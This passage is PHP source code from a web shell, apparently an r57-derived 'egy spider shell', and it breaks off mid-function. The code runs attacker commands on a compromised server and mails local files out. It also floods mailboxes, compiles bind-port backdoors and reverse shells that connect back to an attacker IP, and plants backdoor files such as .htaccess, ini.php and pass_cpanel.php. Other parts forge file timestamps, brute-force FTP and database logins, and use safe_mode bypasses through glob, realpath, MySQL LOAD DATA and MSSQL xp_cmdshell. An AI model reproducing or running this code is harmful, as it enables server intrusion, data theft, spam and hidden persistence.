4352 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?21' title=\"View realise1\"><b>Realise1</b></a> ".$rb;
4353 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?22' title=\"View realise2\"><b>Realise2</b></a> ".$rb;
4354 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?23' title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb;
4355
4356
4357 echo "<br>".ws(2)."</b>";
4358 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?24' title=\"View w\"><b>W</b></a> ".$rb;
4359 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?25' title=\"View who\"><b>Who</b></a> ".$rb;
4360 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?26' title=\"View uptime\"><b>Uptime</b></a> ".$rb;
4361 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?27' title=\"View last -n 10\"><b>Last</b></a> ".$rb;
4362 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?28' title=\"View ps -aux\"><b>Ps Aux</b></a> ".$rb;
4363 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?29' title=\"View service\"><b>Service</b></a> ".$rb;
4364 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?30' title=\"View ifconfig\"><b>Ifconfig</b></a> ".$rb;
4365 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?31' title=\"View netstat -a\"><b>Netstat</b></a> ".$rb;
4366 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?32' title=\"View fstab\"><b>Fstab</b></a> ".$rb;
4367 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?33' title=\"View fdisk -l\"><b>Fdisk</b></a> ".$rb;
4368 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?34' title=\"View df -h\"><b>df -h</b></a> ".$rb;
4369}
4370
4371
4372echo '</font></td></tr><table>
4373<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
4374<tr><td align=right width=100>';
4375echo $font;
4376
4377
4378if($unix){
4379echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
4380echo "</td><td>";
4381echo "<font face=Verdana size=-2 color=red><b>";
4382echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
4383echo ws(3).ex('echo $OSTYPE')."<br>";
4384echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
4385if(!empty($id)) { echo ws(3).$id."<br>"; }
4386else if(@function_exists('posix_geteuid') && @function_exists('posix_getegid') && @function_exists('posix_getgrgid') && @function_exists('posix_getpwuid'))
4387 {
4388 $euserinfo = @posix_getpwuid(@posix_geteuid());
4389 $egroupinfo = @posix_getgrgid(@posix_getegid());
4390 echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
4391 }
4392else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
4393echo ws(3).$dir;
4394echo ws(3).'( '.perms(@fileperms($dir)).' )';
4395echo "</b></font>";
4396}
4397else
4398{
4399echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
4400echo "</td><td>";
4401echo "<font face=Verdana size=-2 color=red><b>";
4402echo ws(3).@substr(@php_uname(),0,120)."<br>";
4403echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
4404echo ws(3).@getenv("USERNAME")."<br>";
4405echo ws(3).$dir;
4406echo "<br></font>";
4407}
4408echo "</font>";
4409echo "</td></tr></table>";
4410
4411
4412
4413
4414if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
4415 {
4416 $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
4417 err(6+$res);
4418 $_POST['cmd']="";
4419 }
4420if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
4421 {
4422 if($file=moreread($_POST['loc_file'])){ $filedump = $file; }
4423 else if ($file=readzlib($_POST['loc_file'])) { $filedump = $file; } else { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
4424 if(!empty($_POST['cmd']))
4425 {
4426 $filename = @basename($_POST['loc_file']);
4427 $content_encoding=$mime_type='';
4428 compress($filename,$filedump,$_POST['compress']);
4429 $attach = array(
4430 "name"=>$filename,
4431 "type"=>$mime_type,
4432 "content"=>$filedump
4433 );
4434 if(empty($_POST['subj'])) { $_POST['subj'] = 'file from egy spider shell'; }
4435 if(empty($_POST['from'])) { $_POST['from'] = 'egy_spider@hotmail.com'; }
4436 $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
4437 err(6+$res);
4438 $_POST['cmd']="";
4439 }
4440 }
4441if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_bomber" && !empty($_POST['mail_flood']) && !empty($_POST['mail_size']))
4442 {
4443 for($h=1;$h<=$_POST['mail_flood'];$h++){
4444 $res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ", 1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n");
4445 }
4446 err(6+$res);
4447 $_POST['cmd']="";
4448 }
4449if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
4450{
4451$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
4452}
4453if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
4454 {
4455 switch($_POST['what'])
4456 {
4457 case 'own':
4458 @chown($_POST['param1'],$_POST['param2']);
4459 break;
4460 case 'grp':
4461 @chgrp($_POST['param1'],$_POST['param2']);
4462 break;
4463 case 'mod':
4464 @chmod($_POST['param1'],intval($_POST['param2'], 8));
4465 break;
4466 }
4467 $_POST['cmd']="";
4468 }
4469if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
4470 {
4471 switch($_POST['what'])
4472 {
4473 case 'file':
4474 if($_POST['action'] == "create")
4475 {
4476 if(@file_exists($_POST['mk_name']) || !morewrite($_POST['mk_name'],'your text here')) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
4477 else {
4478 $_POST['e_name'] = $_POST['mk_name'];
4479 $_POST['cmd']="edit_file";
4480 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
4481 }
4482 }
4483 else if($_POST['action'] == "delete")
4484 {
4485 if(@unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
4486 $_POST['cmd']="";
4487 }
4488 break;
4489 case 'dir':
4490 if($_POST['action'] == "create"){
4491 if(@mkdir($_POST['mk_name']))
4492 {
4493 $_POST['cmd']="";
4494 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
4495 }
4496 else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
4497 }
4498 else if($_POST['action'] == "delete"){
4499 if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
4500 $_POST['cmd']="";
4501 }
4502 break;
4503 }
4504 }
4505
4506
4507
4508
4509if(!empty($_POST['cmd']) && $_POST['cmd']=="touch")
4510{
4511if(!$_POST['file_name_r'])
4512 {
4513 $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
4514 $datar = @strtotime($datar);
4515 @touch($_POST['file_name'],$datar,$datar);}
4516else{
4517 @touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r']));
4518}
4519$_POST['cmd']="";
4520}
4521
4522
4523
4524
4525if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
4526 {
4527 if(@is_dir($_POST['e_name'])){ err(1,$_POST['e_name']); $_POST['cmd']=""; }
4528 elseif($file=moreread($_POST['e_name'])) { $filedump = $file; if(!@is_writable($_POST['e_name'])) { $only_read = 1; }; }
4529 elseif($file=readzlib($_POST['e_name'])) { $filedump = $file; $only_read = 1; }
4530 elseif(@file_exists($_POST['e_name'])) {$filedump = 'NONE'; if(!@is_writable($_POST['e_name'])) { $only_read = 1; };}
4531 else { err(1,$_POST['e_name']); $_POST['cmd']=""; }
4532 if(!empty($_POST['cmd']))
4533 {
4534 echo $table_up3;
4535 echo $font;
4536 echo "<form name=save_file method=post>";
4537 echo ws(3)."<b>".$_POST['e_name']."</b>";
4538 echo "<div align=center><textarea name=e_text cols=121 rows=24>";
4539 echo @htmlspecialchars($filedump);
4540 echo "</textarea>";
4541 echo "<input type=hidden name=e_name value='".$_POST['e_name']."'>";
4542 echo "<input type=hidden name=dir value='".$dir."'>";
4543 echo "<input type=hidden name=cmd value=save_file>";
4544 echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
4545 echo "</div>";
4546 echo "</font>";
4547 echo "</form>";
4548 echo "</td></tr></table>";
4549 exit();
4550 }
4551 }
4552if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
4553 {
4554 $mtime = @filemtime($_POST['e_name']);
4555 if(!@is_writable($_POST['e_name'])) { err(0,$_POST['e_name']); }
4556 else {
4557 if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
4558 morewrite($_POST['e_name'],$_POST['e_text']);
4559 $_POST['cmd']="";
4560 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
4561 }
4562 @touch($_POST['e_name'],$mtime,$mtime);
4563 }
4564
4565
4566
4567if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
4568{
4569 cf($tempdir.'prxpl',$prx_pl);
4570 $p2=which("perl");
4571 $blah = ex($p2.' '.$tempdir.'prxpl '.$_POST['proxy_port'].' &');
4572 @unlink($tempdir.'prxpl');
4573 $_POST['cmd']="ps -aux | grep prxpl";
4574}
4575if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
4576{
4577 cf($tempdir.'bd.c',$port_bind_bd_c);
4578 $blah = ex('gcc -o '.$tempdir.'bd '.$tempdir.'bd.c');
4579 @unlink($tempdir.'bd.c');
4580 $blah = ex($tempdir.'bd '.$_POST['port'].' '.$_POST['bind_pass'].' &');
4581 @unlink($tempdir.'bd');
4582 $_POST['cmd']="ps -aux | grep bd";
4583}
4584if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
4585{
4586 cf($tempdir.'bdpl',$port_bind_bd_pl);
4587 $p2=which("perl");
4588 $blah = ex($p2.' '.$tempdir.'bdpl '.$_POST['port'].' &');
4589 @unlink($tempdir.'bdpl');
4590 $_POST['cmd']="ps -aux | grep bdpl";
4591}
4592if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
4593{
4594 cf($tempdir.'back',$back_connect);
4595 $p2=which("perl");
4596 $blah = ex($p2.' '.$tempdir.'back '.$_POST['ip'].' '.$_POST['port'].' &');
4597 @unlink($tempdir.'back');
4598 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
4599}
4600if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
4601{
4602 cf($tempdir.'back.c',$back_connect_c);
4603 $blah = ex('gcc -o '.$tempdir.'backc '.$tempdir.'back.c');
4604 @unlink($tempdir.'back.c');
4605 $blah = ex($tempdir.'backc '.$_POST['ip'].' '.$_POST['port'].' &');
4606 @unlink($tempdir.'back');
4607 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
4608}
4609if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
4610{
4611 cf($tempdir.'dp',$datapipe_pl);
4612 $p2=which("perl");
4613 $blah = ex($p2.' '.$tempdir.'dp '.$_POST['local_port'].' '.$_POST['remote_host'].' '.$_POST['remote_port'].' &');
4614 @unlink($tempdir.'dp');
4615 $_POST['cmd']="ps -aux | grep dp";
4616}
4617if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
4618{
4619 cf($tempdir.'dpc.c',$datapipe_c);
4620 $blah = ex('gcc -o '.$tempdir.'dpc '.$tempdir.'dpc.c');
4621 @unlink($tempdir.'dpc.c');
4622 $blah = ex($tempdir.'dpc '.$_POST['local_port'].' '.$_POST['remote_port'].' '.$_POST['remote_host'].' &');
4623 @unlink($tempdir.'dpc');
4624 $_POST['cmd']="ps -aux | grep dpc";
4625}
4626
4627
4628if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
4629
4630
4631for($upl=0;$upl<=16;$upl++)
4632{
4633 if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){
4634 if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; }
4635 else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; }
4636 @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn)
4637 or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>");
4638 }
4639}
4640if (!empty($_POST['port1']))
4641{
4642 cf("bds",$port_bind_bd_cs);
4643 $blah = ex("chmod 777 bds");
4644 $blah = ex("./bds ".$_POST['port1']." &");
4645 $_POST['cmd']="echo \"Now script install backdoor connect to port ";
4646 }else{
4647cf("/tmp/bds",$port_bind_bd_cs);
4648 $blah = ex("chmod 777 bds");
4649 }
4650if (!empty($_POST['php_ini1']))
4651{
4652 cf("php.ini",$egy_ini);
4653 $_POST['cmd']=" now make incloude for file ini.php and add ss and your shell";
4654 }
4655
4656
4657 if (!empty($_POST['htacces']))
4658{
4659 cf(".htaccess",$htacces);
4660 $_POST['cmd']="now .htaccess has been add";
4661 }
4662 if (!empty($_POST['egy_res']))
4663{
4664 cf(".ini.php",$egy_res);
4665 $_POST['cmd']="now .htaccess has been add";
4666 }
4667 if (!empty($_POST['egy_ini']))
4668{
4669 cf("ini.php",$egy_ini);
4670
4671
4672
4673 $_POST['cmd']=" http://target.com/ini.php?egy=http://shell.txt? add ss ini.php now make incloude for file ini.php and add egy and your shell";
4674 }
4675
4676
4677 if (!empty($_POST['egy_cp']))
4678{
4679 cf("pass_cpanel.php",$egy_cp);
4680 $_POST['cmd']="cpanel add";
4681 }
4682
4683
4684 if (!empty($_POST['egy_vb']))
4685{
4686 cf("vb_hacker.php",$egy_vb);
4687 $_POST['cmd']="Added Following Files .htaccess & ini.php & vb_hacker.php & pass_cpanel.php ";
4688 }
4689
4690if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
4691
4692
4693for($upl=0;$upl<=16;$upl++)
4694{
4695
4696
4697}
4698
4699
4700if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
4701{
4702 switch($_POST['with'])
4703 {
4704 case 'fopen':
4705 $datafile = @implode("", @file($_POST['rem_file']));
4706 if($datafile)
4707 {
4708 if(!morewrite($_POST['loc_file'],$datafile)){ err(0);};
4709 }
4710
4711
4712 $_POST['cmd'] = '';
4713 break;
4714 case 'wget':
4715 $_POST['cmd'] = which('wget')." \"".$_POST['rem_file']."\" -O \"".$_POST['loc_file']."\"";
4716 break;
4717 case 'fetch':
4718 $_POST['cmd'] = which('fetch')." -p \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\"";
4719 break;
4720 case 'lynx':
4721 $_POST['cmd'] = which('lynx')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
4722 break;
4723 case 'links':
4724 $_POST['cmd'] = which('links')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
4725 break;
4726 case 'GET':
4727 $_POST['cmd'] = which('GET')." \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
4728 break;
4729 case 'curl':
4730 $_POST['cmd'] = which('curl')." \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\"";
4731 break;
4732 }
4733}
4734if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_file_up") || ($_POST['cmd']=="ftp_file_down")))
4735 {
4736 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
4737 if(empty($ftp_port)) { $ftp_port = 21; }
4738 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
4739 if(!$connection) { err(3); }
4740 else
4741 {
4742 if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
4743 else
4744 {
4745 if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);}
4746 if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);}
4747 }
4748 }
4749 @ftp_close($connection);
4750 $_POST['cmd'] = "";
4751 }
4752
4753
4754if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") || ($_POST['cmd']=="db_brute")))
4755 {
4756 if($_POST['cmd']=="ftp_brute"){
4757 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
4758 if(empty($ftp_port)) { $ftp_port = 21; }
4759 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
4760 }else if($_POST['cmd']=="db_brute"){
4761 $connection = 1;
4762 }
4763 if(!$connection) { err(3); $_POST['cmd'] = ""; }
4764 else if(($_POST['brute_method']=='passwd') && (!$users=get_users('/etc/passwd'))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
4765 else if(($_POST['brute_method']=='dic') && (!$users=get_users($_POST['dictionary']))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
4766 if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);}
4767 }
4768
4769
4770echo $table_up3;
4771if (empty($_POST['cmd']) && !$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
4772else if(empty($_POST['cmd']) && $safe_mode){ $_POST['cmd']="safe_dir"; }
4773echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
4774{
4775 switch($_POST['cmd'])
4776 {
4777 case 'safe_dir':
4778
4779 if (@function_exists('scandir') && ($d=@scandir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
4780 {
4781 foreach ($d as $file)
4782 {
4783 if ($file=="." || $file=="..") continue;
4784 @clearstatcache();
4785 @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
4786 if(!$unix){
4787 echo date("d.m.Y H:i",$mtime);
4788 if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
4789 }
4790 else{
4791 if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
4792 $owner = @posix_getpwuid($uid);
4793 $grgid = @posix_getgrgid($gid);
4794 }else{$owner['name']=$grgid['name']='';}
4795 echo $inode." ";
4796 echo perms(@fileperms($file));
4797 @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
4798 echo @date("d.m.Y H:i ",$mtime);
4799 }
4800 echo "$file\n";
4801 }
4802 }
4803
4804
4805 elseif (@function_exists('dir') && ($d=@dir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
4806 {
4807 while (false!==($file=$d->read()))
4808 {
4809 if ($file=="." || $file=="..") continue;
4810 @clearstatcache();
4811 @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
4812 if(!$unix){
4813 echo date("d.m.Y H:i",$mtime);
4814 if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
4815 }
4816 else{
4817 if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
4818 $owner = @posix_getpwuid($uid);
4819 $grgid = @posix_getgrgid($gid);
4820 }else{$owner['name']=$grgid['name']='';}
4821 echo $inode." ";
4822 echo perms(@fileperms($file));
4823 @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
4824 echo @date("d.m.Y H:i ",$mtime);
4825 }
4826 echo "$file\n";
4827 }
4828 $d->close();
4829 }
4830
4831 elseif (@function_exists('opendir') && @function_exists('readdir') && ($d=@opendir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
4832 {
4833 while (false!==($file=@readdir($d)))
4834 {
4835 if ($file=="." || $file=="..") continue;
4836 @clearstatcache();
4837 @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
4838 if(!$unix){
4839 echo date("d.m.Y H:i",$mtime);
4840 if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
4841 }
4842 else{
4843 if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
4844 $owner = @posix_getpwuid($uid);
4845 $grgid = @posix_getgrgid($gid);
4846 }else{$owner['name']=$grgid['name']='';}
4847 echo $inode." ";
4848 echo perms(@fileperms($file));
4849 @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
4850 echo @date("d.m.Y H:i ",$mtime);
4851 }
4852 echo "$file\n";
4853 }
4854 @closedir($d);
4855 }
4856
4857
4858 elseif(@function_exists('glob') && (isset($_POST['glob']) || !isset($_POST['realpath'])))
4859 {
4860 echo "PHP glob() listing directory Safe_mode bypass Exploit\r\n\r\n";
4861 function eh($errno, $errstr, $errfile, $errline)
4862 {
4863 global $D, $c, $i;
4864 preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
4865 if($o){ $D[$c] = $o[2]; $c++;}
4866 }
4867 $error_reporting = @ini_get('error_reporting');
4868 error_reporting(E_WARNING);
4869 @ini_set("display_errors", 1);
4870 @ini_alter("display_errors", 1);
4871 $root = "/";
4872 if($dir) $root = $dir;
4873 $c = 0; $D = array();
4874 @set_error_handler("eh");
4875 $chars = "_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
4876 for($i=0; $i < strlen($chars); $i++)
4877 {
4878 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";
4879 $prevD = $D[count($D)-1];
4880 @glob($path."*");
4881 if($D[count($D)-1] != $prevD)
4882 {
4883 for($j=0; $j < strlen($chars); $j++)
4884 {
4885 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";
4886 $prevD2 = $D[count($D)-1];
4887 @glob($path."*");
4888 if($D[count($D)-1] != $prevD2)
4889 {
4890 for($p=0; $p < strlen($chars); $p++)
4891 {
4892 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
4893 $prevD3 = $D[count($D)-1];
4894 @glob($path."*");
4895 if($D[count($D)-1] != $prevD3)
4896 {
4897 for($r=0; $r < strlen($chars); $r++)
4898 {
4899 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
4900 @glob($path."*");
4901 }
4902 }
4903 }
4904 }
4905 }
4906 }
4907 }
4908 $D = array_unique($D);
4909 foreach($D as $item) echo "{$item}\r\n";
4910 echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n";
4911 error_reporting($error_reporting);
4912 }
4913 elseif(@function_exists('realpath') && (!isset($_POST['glob']) || isset($_POST['realpath'])))
4914 {
4915 echo "PHP realpath() listing directory Safe_mode bypass Exploit\r\n\r\n";
4916 if(!$dir){$dir='/etc/';};
4917 if(!empty($_POST['end_rlph'])){$end_rlph=$_POST['end_rlph'];}else{$end_rlph='';}
4918 if(!empty($_POST['n_rlph'])){$n_rlph=$_POST['n_rlph'];}else{$n_rlph='3';}
4919
4920
4921 if($realpath=realpath($dir.'/')){echo $realpath."\r\n";}
4922 if($end_rlph!='' && $realpath=realpath($dir.'/'.$end_rlph)){echo $realpath."\r\n";}
4923 foreach($presets_rlph as $preset_rlph){
4924 if($realpath=realpath($dir.'/'.$preset_rlph.$end_rlph)){echo $realpath."\r\n";}
4925 }
4926 for($i=0; $i < strlen($chars_rlph); $i++){
4927 if($realpath=realpath($dir."/{$chars_rlph[$i]}".$end_rlph)){echo $realpath."\r\n";}
4928 if($n_rlph<=1){continue;};
4929 for($j=0; $j < strlen($chars_rlph); $j++){
4930 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}".$end_rlph)){echo $realpath."\r\n";}
4931 if($n_rlph<=2){continue;};
4932 for($x=0; $x < strlen($chars_rlph); $x++){
4933 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}".$end_rlph)){echo $realpath."\r\n";}
4934 if($n_rlph<=3){continue;};
4935 for($y=0; $y < strlen($chars_rlph); $y++){
4936 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}".$end_rlph)){echo $realpath."\r\n";}
4937 if($n_rlph<=4){continue;};
4938 for($z=0; $z < strlen($chars_rlph); $z++){
4939 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}".$end_rlph)){echo $realpath."\r\n";}
4940 if($n_rlph<=5){continue;};
4941 for($w=0; $w < strlen($chars_rlph); $w++){
4942 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}".$end_rlph)){echo $realpath."\r\n";}
4943 }
4944 }
4945 }
4946 }
4947 }
4948 }
4949 echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n";
4950 }
4951 else echo $lang[$language.'_text29'];
4952 break;
4953
4954 case 'test1':
4955 $ci = @curl_init("file://".$_POST['test1_file']);
4956 $cf = @curl_exec($ci);
4957 echo htmlspecialchars($cf);
4958 break;
4959 case 'test2':
4960 @include($_POST['test2_file']);
4961 break;
4962 case 'test3':
4963 if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
4964 $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
4965 if($db)
4966 {
4967 if(@mysql_select_db($_POST['test3_md'],$db))
4968 {
4969 @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
4970 @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
4971/* @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");*/
4972 @mysql_query("LOAD DATA LOCAL INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
4973 $r = @mysql_query("SELECT * FROM temp_r57_table");
4974 while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
4975 @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
4976 }
4977 else echo "[-] ERROR! Can't select database";
4978 @mysql_close($db);
4979 }
4980 else echo "[-] ERROR! Can't connect to mysql server";
4981 break;
4982 case 'test4':
4983 if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
4984 $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
4985 if($db)
4986 {
4987 if(@mssql_select_db($_POST['test4_md'],$db))
4988 {
4989 @mssql_query("drop table r57_temp_table",$db);
4990 @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
4991 @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
4992 $res = mssql_query("select * from r57_temp_table",$db);
4993 while(($row=@mssql_fetch_row($res)))
4994 {
4995 echo htmlspecialchars($row[0])."\r\n";
